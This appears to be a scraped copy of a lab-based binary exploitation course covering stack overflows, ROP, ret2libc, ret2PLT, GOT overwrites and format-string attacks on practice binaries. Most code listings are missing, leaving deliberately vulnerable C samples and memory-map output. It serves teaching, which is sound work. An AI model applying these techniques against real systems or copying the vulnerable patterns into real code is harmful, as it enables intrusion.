1 of 12

Linux Kernel Exploitation

The course is designed as a continuation of the Windows Exploit Development workshops by the people at Exploit Development Intro and some pre-requisite knowledge is expected of the following topics:

An Understanding of x86-64 Assembly
Familiarity with GDB
Familiarity with C and Python
Familiarity with the Standard Jump to Shellcode Exploits

Please do view this 15 minute '' video as a refresher. If you have time, please go through the for the video.

1. Setting Up the Environment

Setting Up the Environment

We will be using vagrant to standardise the environment so following the lesson plan is easy. The Vagrantfile will provision the appropriate pre-requisites but please go through this document to get an understanding of the steps required to prepare the testing environment.

Mandatory Steps

First, install vagrant and virtualbox. Vagrant can be downloaded from . Virtualbox can be downloaded from .

Next, clone the repository onto your host machine. If you have messed up somewhere along the course and want to revert the state of the repository, just delete the entire directory and perform this step again.

Now, bring the vagrant box up.

Once the provisioning finishes, you can ssh into the vagrant box.

The course repository directory you clone previously will be mounted at /vagrant so you can use your preferred text editor.

Now, we need to start the docker containers for the exercises you will be working on. To do this, perform the following steps:

You do not need to rebuild the docker containers after you have built them once but you may need to redeploy the docker containers if you restart the machine.

Windows Users

For Windows users there are two options:

Start a virtual machine containing Ubuntu 16.04 and run the provisioning script found below. Next, manually clone the course repository into the machine. Note that directory locations may be different from the code listings in the course if you go down this route. The choice of virtualisation software you choose is up to you.
Install Vagrant and Virtualbox for Windows. This allows you to follow the instructions above almost identically.

One caveat with Option 2 is that your Windows Installation might not have SSH installed previously. When you invoke vagrant ssh, you might receive a message as follows:

In that case, simply follow the instructions to SSH into the newly provisioned system with an SSH client of your choice such as Putty or SmarTTY.

What Was Installed?

This is the entire provisioning script:

If you used vagrant to bring the machine up, this should have been done for you.

2. Introduction to PEDA and Pwntools

Introduction to PEDA and Pwntools

GDB with PEDA and Pwntools are two tools that we will be using extensively throughout the course. This section is designed to run through their basic use and to work out any possible kinks that might arise.

Throughout the section we will be using pre-built binaries in the build folder. From the base repository directory, please navigate as follows:

There should be a couple of binaries already in the directory. They are standard ELF files that you can run.

PEDA

PEDA (Python Exploit Development Assistance) is an extension to GDB that adds on a whole bunch of useful commands and quality of life improvements to the standard GDB experience. The provisioning script should have made the necessary additions to the GDB configuration so all you need to do to start it is launch GDB.

Let's walk through an example with the 1_sample binary.

The prompt should show gdb-peda. If it does not, something has gone wrong with the environment setup. To start off, let's break on main and explore what is offered by PEDA.

Notice that the default display is a made lot more informative than with the vanilla GDB. Other than making it a lot easier to step through programs and view the changes as they happen, PEDA provides a ton of other functionality as well. To view the full list of them, you can use the peda command.

We will go through a few of the interesting commands.

checksec

The checksec command lists the protections that are enabled for the binary. This is useful when figuring out how to craft your exploit.

distance

Often, calculating offsets from addresses is required when crafting your payload in an exploit. This command makes it easy to find the distance between two addresses.

elfsymbol

If you ever needed to get the address for certain symbols in a binary (if you are lucky and it is not stripped), you can use the elfsymbol command.

pattern

The pattern generator is one of the features of PEDA I most use. What it does is generate a of a specified length. A De Brujin Sequence is a sequence that has unique n-length subsequences at any of its points. In our case, we are interested in unique 4 length subsequences since we will be dealing with 32 bit registers. This is especially useful for finding offsets at which data gets written into registers.

Let's say we create a pattern of length 64.

Imagine that we have triggered a buffer overflow and find that the instruction pointer crashes on the address 0x48414132 ('2AAH' in ASCII). We can figure out the exact offset of our data to place our address to redirect code execution to.

procinfo

This command parses information from the /proc/pid/x directory and presents it to you.

It is particularly useful to view which file descriptors are open.

vmmap

vmmap displays the memory mapping of the process. It is simple to invoke.

What is important to glean from the listing above is the permissions flags of each of the segments. Often when developing your exploit, you will need to place some data somewhere. This data can be arguments to functions expecting a string pointer or even shellcode. What is required is that the segment that is being written to is marked writable.

Additionally, if you have a pointer from a memory leak and want to figure out where exactly the pointer is pointing to, you can drill down specifically on that address.

find aka searchmem

The find command is an alias for the searchmem peda command. It searches memory for a given pattern. It is particularly useful to figure out where data is or how it flows in a process.

For example, something that is often sought for is the string "/bin/sh". Perhaps it lays in memory somewhere. We can use find to look for it.

Pwntools

Pwntools is a Python library that provides a framework for writing exploits. Typically, it is used heavily in CTFs. There are a ton of useful functions provided by Pwntools but I will briefly describe the process I personally use.

Using Pwntools

There are three ways you can use Pwntools:

Interactively through the python/iPython consoles
In a python script
Pwntools command line tools

Interactively through the Console

Often, you want to try things out before actually writing an actual script when developing your exploit. The iPython console is a great way to explore the Pwntools API. For convenience, we will import everything in the pwn package to the global namespace.

iPython provides tab completion and a built-in system to look up documentation in docstrings. For example, if we want to look at what the p32 function does, we can look it up with the ? sigil.

In a Python Script

I like to begin with the following template when starting a new exploit.

Running the script is as simple as calling python on it. Try running this script:

Running the script:

Pwntools Command Line Tools

Pwntools installs the pwn python script in /usr/local/bin. It provides frontends to useful features of the library. To get a list of all available frontends, you can execute pwn -h.

You can investigate the available options at your own time. Take a look at the for a more detailed description of each of them.

Interacting with Target Binaries

Your target might expose itself through different vectors. Today we will focus on attacking remotely running binaries that you can connect to over the network. First, let's see how we might interact with a local copy of a binary that accepts input on stdin and returns output on stdout.

Local Copy of Binary

To begin with, we will look at the 2_interactive binary:

For completeness sake, here is the source code:

The point of the program is to check the user input against a hardcoded password. If it matches, then an interactive shell is spawned.

Now that we know how to craft the input, we can write our sample exploit using Pwntools.

Take some time to go through the code and understand what it does. Take note of the process("../build/2_interactive") line. It starts a new process and allows you to treat the object like a socket. Run the script and verify it works:

Simulating a Networked Application Locally

It is very easy to turn a console-based application into a networked one and there are multiple ways to do it. The exercises that come later in the docker containers use xinetd, a server daemon, to listen for network requests and then launch the binary to serve these requests. For now, we can use socat to do the same thing.

First, we will start a new screen session so that we can background our socat terminal.

Next, we run the following command to start a listener on port 1330.

It should hang there. Now return to your original bash session by holding down the following key sequence: CTRL-A-D. If you run the command screen -ls you should see that the socat screen session is in the background.

To verify that the listener is indeed listening on port 1330, we can run netcat.

Now, here comes the magic. To modify the first script we had to work with local binaries, we may simply comment out the process() line and replace the line with remote("localhost", 1330).

Now, if we run this it should give us our shell.

Debugging with GDB

Pwntools does provide GDB functionality but we will be taking a more manual approach since that is the way I am used to doing it. If you are interested in using this functionality, you can view the documentation .

We will be using the 3_reversing binary to walkthrough this section. First, lets run it vanilla.

To gain a deeper insight into what is going on, we can use ltrace to investigate.

Using the following script, we can print the process id before the interaction with the program happens.

First, start another ssh session and run the script. Note the process id that gets printed. Also note the use of p32() to pack integers into little endian strings.

Return to the original bash shell and run GDB as root. Now, we can attach to the process.

At this point, the program is paused somewhere in libc. We can setup our breakpoints. Let's assume that we have done some preliminary reverse engineering and have discovered that the input gets passed to the check_creds(). Here's the disassembly of the function.

Let's place some breakpoints on the function and step through the execution to discover what inputs we need to supply to pass the check.

Back on the terminal with the script running, press enter to trigger the data sending. On the gdb terminal, the debugger should have broken. Continue on with the standard gdb debugging process to obtain the values.

Exercises

Please attempt the exercises in this section on your own before looking at the solution.

Ex 3.1: Getting the Right Name and Token

Continuing on from where we left off in the guided portion, please find the right values for the name and token and modify the exploit code such that a shell is obtained.

Solution script can be found here.

Ex 3.2: Launching the Attack Against a Remote Target

Please find the flag file on an instance of the service running at 127.0.0.1:1900.

Solution script can be found here.

3. Classic Exploitation Technique

Classic Exploitation Technique

Let us revisit the classical technique of exploiting a stack overflow on a binary with no protections enabled and ASLR turned off. We will do a demonstration on a binary compiled from the following source code:

#include <unistd.h>
#include <stdio.h>

void vuln() {
    char buffer[16];
    read(0, buffer, 100);
    puts(buffer);
}

int main() {
    vuln();
}

The binary was compiled with the following flags:

Before running the binary, disable ASLR with the command:

Verify that ASLR is indeed turned off.

Also, all protections are off.

The binary is simple. It reads 100 bytes from stdin into a 16 byte character buffer and prints the contents of the buffer to the user. On a benign execution, the behaviour might look like this:

It is very easy to get the binary to crash.

Let's delve into GDB to get the offset we need to place our return address at to control EIP.

We can begin writing a skeleton for our exploit.

If we run this and attach to the spawned process, we can verify that the program will crash on the address 0x41424344.

Next, we need to figure out where should we direct execution to. This would probably be somewhere in the buffer we write to with the read() call. If we break on the call to puts(), we can get a stack address we can use as the argument.

0xffffd5f0 is the start of buffer the user input is read into. A good place to jump to would be (0xffffd5f0 + 28 + 4). This lets us put our shellcode right after the return address. To begin with, we can test out strategy by filling that space with 'int 3' instructions (0xcc).

Now, we can run this, attach our debugger to the process and see if it breaks.

Taking some shellcode from Aleph One's 'Smashing the Stack for Fun and Profit':

Putting it all together:

Running the script.

Note that you might have to adjust the return address as the one on this machine might not match up to the one on your machines.

4. Linux Binary Protections

Linux Binary Protections

There are three classes of protection we will be discussing in this section.

No eXecute Bit
Address Space Layout Randomisation
Stack Canaries

We will discuss this using visualisations of how a classic exploitation technique attempt is stopped by the properties of each of the protections.

Classic Exploitation Illustration

First let's visualise how the stack looks like before a buffer is read into:

For clarification, the value of the saved base pointer is 0xbfff0030 and the value of the return address is 0x080484f0 (an address within the binary). The numbers are reversed in the visualisation because x86 is a little endian architecture.

On a valid run of the program, the buffer is filled within its bounds. Here we have 15 As and a null byte written to the 16 length buffer.

However, since the read allows for the program to read more than 16 bytes into the buffer, we can overflow it and overwrite the saved return pointer.

When the function returns, the program will crash since the instruction pointer is set to 0x41414141, an invalid address.

To complete the technique, the attacker will fill the first part of the buffer with the shellcode, append the appropriate padding and overwrite the saved return pointer with the address of the buffer.

Now, when the function returns, the program will begin executing the shellcode contained in the buffer since the saved return pointer was overwritten by the buffer address (0xbfff0000). From this point onwards, the attacker has achieved arbitrary code execution.

ASLR, NX, and Stack Canaries

Now that we understand how the classic exploitation technique works, let us start introducing protections and observing how they prevent the technique from working.

No eXecute (NX)

Also known as Data Execution Prevention (DEP), this protection marks writable regions of memory as non-executable. This prevents the processor from executing in these marked regions of memory.

If we look at the memory map of a program compiled with NX protection, the stack and heap are typically marked non-executable.

In the following diagrams, we will be introducing a new indicator colour for the memory regions to denote 'writable and non-executable' mapped regions. Firstly, the stack before the read occurs looks like this:

When we perform the same attack, the buffer is overrun and the saved pointers are overwritten once again.

After the function returns, the program will set the instruction pointer to 0xbfff0000 and attempt to execute the instructions at that address. However, since the region of memory mapped at that address has no execution permissions, the program will crash.

Thus, the attacker's exploit is thwarted.

Address Space Layout Randomisation

This protection randomises the addresses of the memory regions where the shared libraries, stack, and heap are mapped at. The reason for this is to frustrate an attacker since they cannot predict with certainty where their payload is located at and the exploit will not work reliably.

On the first run of the program, the stack looks like this just before the read:

If we terminate the program and run it again, the stack might look like this before the read:

Notice how the stack addresses do not stay constant and now have their base values randomised. Now, the attacker attempts to re-use their payload from the classic technique.

Notice that the saved return pointer is overwritten with a pointer into the stack at an unknown location where the data is unknown and non-user controlled. When the function returns, the program will begin executing unknown instructions at that address (0xbfff0000) and will most likely crash.

Thus, it is impossible for an attacker to be able to reliably trigger the exploit using the standard payload.

Stack Canaries

This protection places a randomised guard value after a stack frame's local variables and before the saved return address. When a function returns, this guard value is checked and if it differs from the value provided by a secure source, then the program is terminated.

In the following stack diagram, an additional stack canary is added right after the buffer. The valid value of this stack canary is 0x01efcdab.

Now, the attacker attempts their exploit with the standard payload again. The stack diagram looks like this after the read:

Notice that the stack canary has been overwritten and corrupted by the padding of 'A's (0x41). The value of the canary is now 0x41414141. Before the function returns, the canary is xored against the value of the 'master' canary. If the result is 0, implying equality, then the function is allowed to return. Otherwise, the program terminates itself. In this case, the program fails the check, prints a warning message, and exits.

Thus, the attacker is not even able to redirect control flow and the exploit fails.

5. Bypassing NX with Return Oriented Programming

Bypassing NX with Return Oriented Programming

Since it is assumed that all participants have the gone through the introductory video on return oriented programming set out in the pre-requisites, we will jump straight into developing our exploits. If you are not clear on the basics of ROP, please revisit the video.

Enabling NX

Let's start increasing protections on the binaries we play with. We can start simple by only enabling the NX protection on the binaries we compile. For this section we will take a look at the following binary compiled from the following source code.

Since the binary is not big enough to give us a decent number of ROP gadgets, we will cheat a bit and compile the binary as a statically linked ELF. This should include library code in the final executable and bulk up the size of the binary. We also mark the writable regions of memory as non-executable.

We can verify that the binary has the NX protection enabled by using the checksec script. We can also check that the file is statically compiled with file.

Obtaining EIP Control

First of all, we need to determine the offsets for EIP control. For the sake of brevity, I will use the offset of 148 bytes. When you follow along in the lesson, please do try obtaining the offset yourself. A rough skeleton exploit script is given as follows:

Running the script and attach gdb to the process allows us to verify that the EIP control works.

Code Gadgets

Now, let's take a step back and think about how to proceed from this point. We cannot use the previous strategy of placing shellcode on the stack and jumping to it because the stack is now non-executable. One possible technique we can use is to reuse existing code in the binary.

If you have gone through the pre-requisite watching, you may realise that these snippets of useful code sequences that end in ret instructions are useful to construct a ROP chain. Some of these sequences might look like the following:

These are called gadgets. We can automate searching for these gadgets using a tool called ROPgadget.

Now, some combination of a subset of these 12307 gadgets should surely yield us a shell. Before we start mixing and matching, lets take an aside to discuss Linux syscalls.

Linux Syscalls

Linux system calls or syscalls are interfaces between the user space application and the Linux kernel. Functionality performed by the Linux kernel can be invoked by placing parameters into the right registers and passing control to the interrupt vector 0x80 using the int 0x80 opcode. Typically, this is not done by the program directly but by calling glibc wrappers.

We will not go too deep into describing how the system calls work and go straight to the system call that interests us the most: execve. The execve system call runs an executable file within the context of the current process.

If we take a look at the libc function, we get the following signature:

int execve(char const *path, char const *argv[], char const *envp[]);

Typically, we invoke this function in the following manner to spawn shells.

execve("/bin/sh", {0}, {0})

If we take a look at the syscall reference located , we can see that some parameters are expected in the eax, ebx, ecx, and edx registers.

eax - holds the number of the syscall to be called
ebx - a pointer to the string containing the file name to be executed
ecx - a pointer to the array of string pointers representing argv

For our purposes, the value that each of the registers should contain are:

Generating the ROP Chain

Automatically finding the ROP gadgets to perform the execve syscall can be done by ROPgadget. It actually even generates the the output as a python script that you can embed into the skeleton.

Integrating the generated code is as easy as copy and pasting into the final exploit.

When we run the exploit, we get our shell.

Exercises

6.1 Using Ropper to Generate ROP Chains

There are alternative tools to ROPgadget that perform gadget searching and automatic chain generation. One such tool is ropper. You can generate an execve rop chain with the following command.

However, using this payload in a modified script does not work. Can you figure out why and fix it?

6. Bypassing NX with Ret2Libc

Bypassing NX with Ret2Libc

We were able to pick from a wealth of ROP gadgets to construct the ROP chain in the previous section because the binary was huge. Now, what happens if the binary we have to attack is not large enough to provide us the gadgets we need?

One possible solution, since ASLR is disabled, would be to search for our gadgets in the shared libraries loaded by the program such as libc. However, if we had these addresses into libc, we could simplify our exploit to reuse useful functions. One such useful function could be the amazing system() function.

Investigating Shared Libraries

To investigate this, we can create a diagnostic binary to introspectively look at the virtual memory map and to print us the resolved system() address. The source is as follows:

I have compiled two versions of the binary, a 32 bit version and a 64 bit version.

Running the 32 bit one:

Note the base address of libc-2-2.23.so (0xf7e10000) and the resolved address of system (0xf7e4ada0). Let's subtract the address of the base address from the address of system to get the system offset.

Take note of that offset, 0x3ada0. Next, we can disassemble the libc shared object and look for the start of the system function.

That's a bingo. Notice how the offset we calculated previously is the same as the address of __libc_system@@GLIBC_PRIVATE.

We can repeat this with the 64 bit one:

Calculating the difference.

Finding the address of system in the 64 bit libc binary.

And we have another match.

Calculating Addresses

This is useful information as now we have a way to calculate the addresses of useful functions given the base address of libc. Since shared objects are mapped at the same location without randomisation due to ASLR being disabled, we can very easily find the addresses of useful things such as the system() function and the /bin/sh string by examining the libc shared object on its own.

To make life easier, the , provides helper scripts to build a libc database, identify versions of libc from information leaks, and dump useful offsets. In the vagrant provisioning script, I have already added the pertinent libc versions used in the exercises.

Exploiting a Minimalist Vulnerable Binary

Let's do the opposite of what we did the last section. Instead of attacking a bloated binary, we are going to attack a really lean and mean one. Something like this:

Running the binary:

It really does not do much. Here is the skeleton exploit code to achieve EIP control.

Exercise 7.1: Writing the Final Exploit

At this point, it is simply a matter of finding at which address is libc mapped onto and then calculating the addresses of useful functions from the offsets we dumped.

Try to obtain a shell by making the necessary additions to the skeleton code. Please attempt to do this on your own before looking at the solution.

7. ASLR in Depth

ASLR in Depth

Actually, the title is a lie. We're not really going to discuss ASLR in that depth yet. We don't really need to. However, what we are going to do is explore the effects of ASLR on a diagnostic binary we used in the previous section.

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>


int main() {
    puts("This program helps visualise where libc is loaded.\n");
    int pid = getpid();
    char command[500];
    puts("Memory Layout: ");
    sprintf(command, "cat /proc/%d/maps", pid);
    system(command);
    puts("\nFunction Addresses: ");
    printf("System@libc 0x%lx\n", dlsym(RTLD_NEXT, "system"));
    printf("PID: %d\n", pid);
}

ASLR Turned Off

First, make sure ASLR is turned off.

Now, play with the binaries in /vagrant/lessons/8_aslr/build/. You should notice that the addresses the objects are mapped at are more or less constant.

ASLR Turned On

Now, turn on the ASLR.

Before repeating the previous steps on the binaries again, take a look at the output from checksec.

Notice that the last two have PIE enabled. PIE stands for Position Independent Executable. Do you notice any interesting about the results when running these binaries with ASLR turned on?

8. Bypassing ASLR/NX with Ret2PLT

Bypassing ASLR/NX with Ret2PLT

Before beginning this section, please ensure you have re-enabled ASLR. You can do this by running the following command.

Finally, we have two protections enabled: ASLR and NX. To start off, this will be our first target for the section:

Running the binary:

Now that ASLR has been enabled, we have a problem. We no longer can be sure where the libc will be mapped at. However, that begs the question: how does the binary know where the address of anything is now that they are randomised? The answer lies in something called the Global Offset Table and the Procedure Linkage Table.

Global Offset Table

To handle functions from dynamically loaded objects, the compiler assigns a space to store a list of pointers in the binary. Each slot of the pointers to be filled in is called a 'relocation' entry. This region of memory is marked readable to allow for the values for the entries to change during runtime.

We can take a look at the '.got' segment of the clock binary with readelf.

Let's take the read entry in the GOT as an example. If we hop onto gdb, and open the binary in the debugger without running it, we can examine what is in the GOT initially.

It actually turns out that that value is an address within the Procedure Linkage Table. This actually is part of the mechanic to perform lazy binding. Lazy binding allows the binary to only resolve its dynamic addresses when it needs o.

If we run it and break just before the program ends, we can see that the value in the GOT is completely different and now points somewhere in libc.

Procedure Linkage Table

When you use a libc function in your code, the compiler does not directly call that function but calls a PLT stub instead. Let's take a look at the disassembly of the read function in PLT.

Here's what's going on here when the function is run for the first time:

The read@plt function is called.
Execution reaches jmp DWORD PTR ds:0x804a00c and the memory address 0x804a00c is dereferenced and is jumped to. If that value looks familiar, it is. It was the address of the GOT entry of read.

The details of this will be important for the next section but for now, the crucial characteristic of the PLT stub is that it is part of the binary and will be mapped at a static address. Thus, we can use the stub as a target when constructing our exploit.

Writing the Exploit

As per usual, here is the skeleton code to obtain EIP control of the binary.

Let's look at the available PLT stubs to choose from.

We are in luck, because system@plt is a powerful function we can definitely use. That's one out of two things we need. The second thing is a command we can execute. Normally, we would use "/bin/sh" but it does not seem we would find that here.

Take a moment to figure out a target before taking a look at the answers.

It turns out that ed is a valid Linux command. It actually spawns a minimalistic editor. It also turns out that there is an "ed" string available in the binary. Can you spot it?

If we take the last two characters of the string "The sheep are blue, but you see red" or "_IO_stdin_used", we can get that "ed" we are looking for.

Putting our parts together, we can come up with this final exploit.

But, now you might ask, if all we are going to spawn is a line based text editor, then how are we going to get our shell? As it so happens, the ed program can actually run commands!

Exercises

Please do these exercises without looking at the solution.

Ex 9.1: Event 0

Let's start doing some difficult exercises. Here is event0. Try to solve this problem using the Ret2PLT technique.

The binary can be found here. And the remote target is at nc localhost 1901.

If you get stuck, you can look at the following solution scripts in order of completeness.

Skeleton
Local POC
Remote POC

9. Bypassing ASLR/NX with GOT Overwrite

Bypassing ASLR/NX with GOT Overwrite

In this section, we will take a closer look at the Global Offset Table. In the previous section, we learnt how to use jumping to the PLT stubs as a technique to reuse functions in libc. When jumping to PLT, the GOT entry for that corresponding function acted as a malleable space where the dynamic address would be held. We shall exploit that malleability.

Now, let's depart from the standard paradigm of stack overflows for the moment. We shall begin looking at vulnerable programs that allow for write-what-where primitives, albeit in a limited fashion.

Our first simple example is the following:

The program is vulnerable in two ways:

It provides an information leak opportunity when the now_playing.album pointer is overwritten and the album name is printed.
It provides a write what where primitive when the now_playing.album pointer is overwritten and input is provided to the second prompt.

Running the binary:

It's a little screwy but nothing that fancy yet. Let's begin by trying to achieve the first vulnerable condition (arbitrary read). First, we can take an easy to spot target to leak. We can use the "This is a Jukebox" string. First, we need to figure out its address.

Now, here's a skeleton exploit that will demonstrate the leaking of that string.

Testing it out:

See the "(This is a Jukebox)"? That means it worked. Now, what we are most interested in are mostly pointers. So let's make a small addition that would parse the leak and transform it into a nice number for us.

Running it:

Awesome, now we can begin thinking about our exploit.

GOT Overwrite Strategy

At the moment, we do not have a target to leak and to overwrite. We must be careful to pick a suitable one because the information leak and arbitrary write has to be performed on the same address. Additionally, the write has to result in EIP control at some point of the program's execution since we do not have that yet.

If we take a look at the source code again, the following function is called last:

Interestingly, this is perfect for our uses. If we leak the address of puts in libc, we can calculate the address of the libc base and subsequently, the address of the system function. Also, once we have that, we can write the address of the system function into the puts@got entry so that when this final line executes, it will actually execute:

Which means that system will be called with a parameter that we control! How convenient!

Writing the Exploit

First, let's see if we can leak the address of puts@got. First, we need the address.

Now, we can modify our earlier iterations of the exploit.

Running the script gives us a sanity check that we are reading the right thing.

Now, let's try and get EIP control. This should be as simple as sending four bytes.

It works, the program crashed at 0xdeadc0de.

Let's gather our offsets and we can write our final exploit script.

Final exploit script:

Getting our shell:

Exercises

Ex 10.1: Event 1

After the mistakes of the previous Event, Kaizen has decided to secure his system. Can you find a way to exploit the new binary?

It was compiled with a stack canary.

gcc -m32 -znoexecstack -o ./build/2_event1 ./src/2_event1.c

The binary can be found here and the source can be found here. The remote target is nc localhost 1902.

The solution script may be found here.

10. Multi-Stage Exploits

Multi-Stage Exploits

In this section, we will look at crafting a more complicated exploit that relies on multiple stages. Surprisingly, the vulnerable target we are looking at is the most simple of all the ones we have seen so far. It is precisely the lack of flexibility we have with such a simple target that forces us to adopt a more sophiscated exploit strategy.

It is very simple. It simply echoes your input. It is vulnerable to a standard buffer overflow but ASLR and NX are enabled which means the only things you have to work with is read, write, and the gadgets that are present in the tiny binary.

Crafting the Exploit Step by Step

First, as we always do, we need a skeleton script to give us our EIP control.

Next, we would like to try and leak a libc address. We can achieve this by creating fake stack frames that execute write(STDOUT, write@got, 4). This will print 4 bytes of the write@got address to stdout which we can receive on our exploit script.

This works easily enough to get us that leak.

The Killing Blow

Now, remember that what we are doing is creating a rop chain with these PLT stubs. However, if we just return into functions after functions, it is not going to work very well since the parameters on the stack are not cleaned up. We have to handle that somehow.

This is where the pop pop ret gadgets come in. They allow us to advance the stack and make sure our faked stack frames are coherent. We need a pop pop pop ret sequence because our write call had 3 parameters.

What should we do next then? What we want to do is overwrite a GOT entry so that we can execute system. Now, we can leverage the fact that a read call is basically an arbitrary write primitive. So our entire rop chain sequence would look something like this:

write(1, write@got, 4) - Leaks the libc address of write
read(0, write@got, 4) - Read 4 bytes of input from us into the write GOT entry.
system(some_cmd)

Now, of course we have a possible issue. Since our ROP chain would have to include the address of the command on the first read, we have two choices:

Expend another read sequence to write "/bin/sh" somewhere in memory
Use an alternative command (such as ed)

Option 1 is not feasible as it takes 20 bytes to construct a frame for read. This is a heavily cost when we only have 72 bytes to play with. So, we have to go with Option 2 which is easy enough to get.

With all of the information in hand, we can write our exploit:

Running the exploit:

11. Format String Vulnerabilties

Format String Vulnerabilties

Yes, I know this is a really cliche topic but I am just covering one cool thing that you can do with pwntools. That's all, I promise. Now, we will be looking at this simple program that is vulnerable to a format string attack. The idea is to modify the token so that it contains 0xcafebabe when the check occurs.

#include <stdio.h>
#include <stdlib.h>

unsigned int token = 0xdeadbeef;

int main() {
    char buffer[200];
    scanf("%199s", buffer);
    printf(buffer);
    printf("\nToken = 0x%x\n", token);
    if (token == 0xcafebabe) {
        puts("Winner!");
    }
    else {
        puts("Loser!");
    }
}

So after playing around with the program, we figure out that the first format argument we control is at offset 5.

Next, we need the address of the token.

Now we can write our exploit script. Pwntools actually has a format string attack generator so we can beat the binary in a few quick easy lines.

Running the program.

Exercises

Ex 13.1: Echoes

Before you continue onto the more advanced exercises, here's something to tackle. The source code to this challenge is given:

The binary to the exercise can be found here. The remote target is nc localhost 1903 and the goal is to get a shell.

ubuntu@ubuntu-xenial:/vagrant/lessons/8_aslr/build$ ./4_reveal_addresses64_pie This program helps visualise where libc is loaded. Memory Layout: 555555554000-555555555000 r-xp 00000000 00:28 158 /vagrant/lessons/8_aslr/build/4_reveal_addresses64_pie 555555754000-555555755000 r--p 00000000 00:28 158 /vagrant/lessons/8_aslr/build/4_reveal_addresses64_pie 555555755000-555555756000 rw-p 00001000 00:28 158 /vagrant/lessons/8_aslr/build/4_reveal_addresses64_pie 555555756000-555555777000 rw-p 00000000 00:00 0 [heap] 7ffff780a000-7ffff79c9000 r-xp 00000000 08:01 2068 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff79c9000-7ffff7bc9000 ---p 001bf000 08:01 2068 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bc9000-7ffff7bcd000 r--p 001bf000 08:01 2068 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7bcf000 rw-p 001c3000 08:01 2068 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcf000-7ffff7bd3000 rw-p 00000000 00:00 0 7ffff7bd3000-7ffff7bd6000 r-xp 00000000 08:01 2067 /lib/x86_64-linux-gnu/libdl-2.23.so 7ffff7bd6000-7ffff7dd5000 ---p 00003000 08:01 2067 /lib/x86_64-linux-gnu/libdl-2.23.so 7ffff7dd5000-7ffff7dd6000 r--p 00002000 08:01 2067 /lib/x86_64-linux-gnu/libdl-2.23.so 7ffff7dd6000-7ffff7dd7000 rw-p 00003000 08:01 2067 /lib/x86_64-linux-gnu/libdl-2.23.so 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 2051 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fea000-7ffff7fed000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff8000 rw-p 00000000 00:00 0 7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 2051 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 2051 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] Function Addresses: System@libc 0x7ffff784f390 PID: 4446

amon@bethany:~/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build$ ./1_reveal_addresses This program helps visualise where libc is loaded. Memory Layout: 08048000-08049000 r-xp 00000000 00:27 329 /vagrant/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses 08049000-0804a000 r--p 00000000 00:27 329 /vagrant/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses 0804a000-0804b000 rw-p 00001000 00:27 329 /vagrant/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses 0804b000-0806c000 rw-p 00000000 00:00 0 [heap] f7e0f000-f7e10000 rw-p 00000000 00:00 0 f7e10000-f7fbf000 r-xp 00000000 08:01 256310 /lib/i386-linux-gnu/libc-2.23.so f7fbf000-f7fc0000 ---p 001af000 08:01 256310 /lib/i386-linux-gnu/libc-2.23.so f7fc0000-f7fc2000 r--p 001af000 08:01 256310 /lib/i386-linux-gnu/libc-2.23.so f7fc2000-f7fc3000 rw-p 001b1000 08:01 256310 /lib/i386-linux-gnu/libc-2.23.so f7fc3000-f7fc6000 rw-p 00000000 00:00 0 f7fc6000-f7fc9000 r-xp 00000000 08:01 256309 /lib/i386-linux-gnu/libdl-2.23.so f7fc9000-f7fca000 r--p 00002000 08:01 256309 /lib/i386-linux-gnu/libdl-2.23.so f7fca000-f7fcb000 rw-p 00003000 08:01 256309 /lib/i386-linux-gnu/libdl-2.23.so f7fd4000-f7fd6000 rw-p 00000000 00:00 0 f7fd6000-f7fd8000 r--p 00000000 00:00 0 [vvar] f7fd8000-f7fd9000 r-xp 00000000 00:00 0 [vdso] f7fd9000-f7ffb000 r-xp 00000000 08:01 256300 /lib/i386-linux-gnu/ld-2.23.so f7ffb000-f7ffc000 rw-p 00000000 00:00 0 f7ffc000-f7ffd000 r--p 00022000 08:01 256300 /lib/i386-linux-gnu/ld-2.23.so f7ffd000-f7ffe000 rw-p 00023000 08:01 256300 /lib/i386-linux-gnu/ld-2.23.so fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack] Function Addresses: System@libc 0xf7e4ada0 PID: 20738 Press enter to continue.

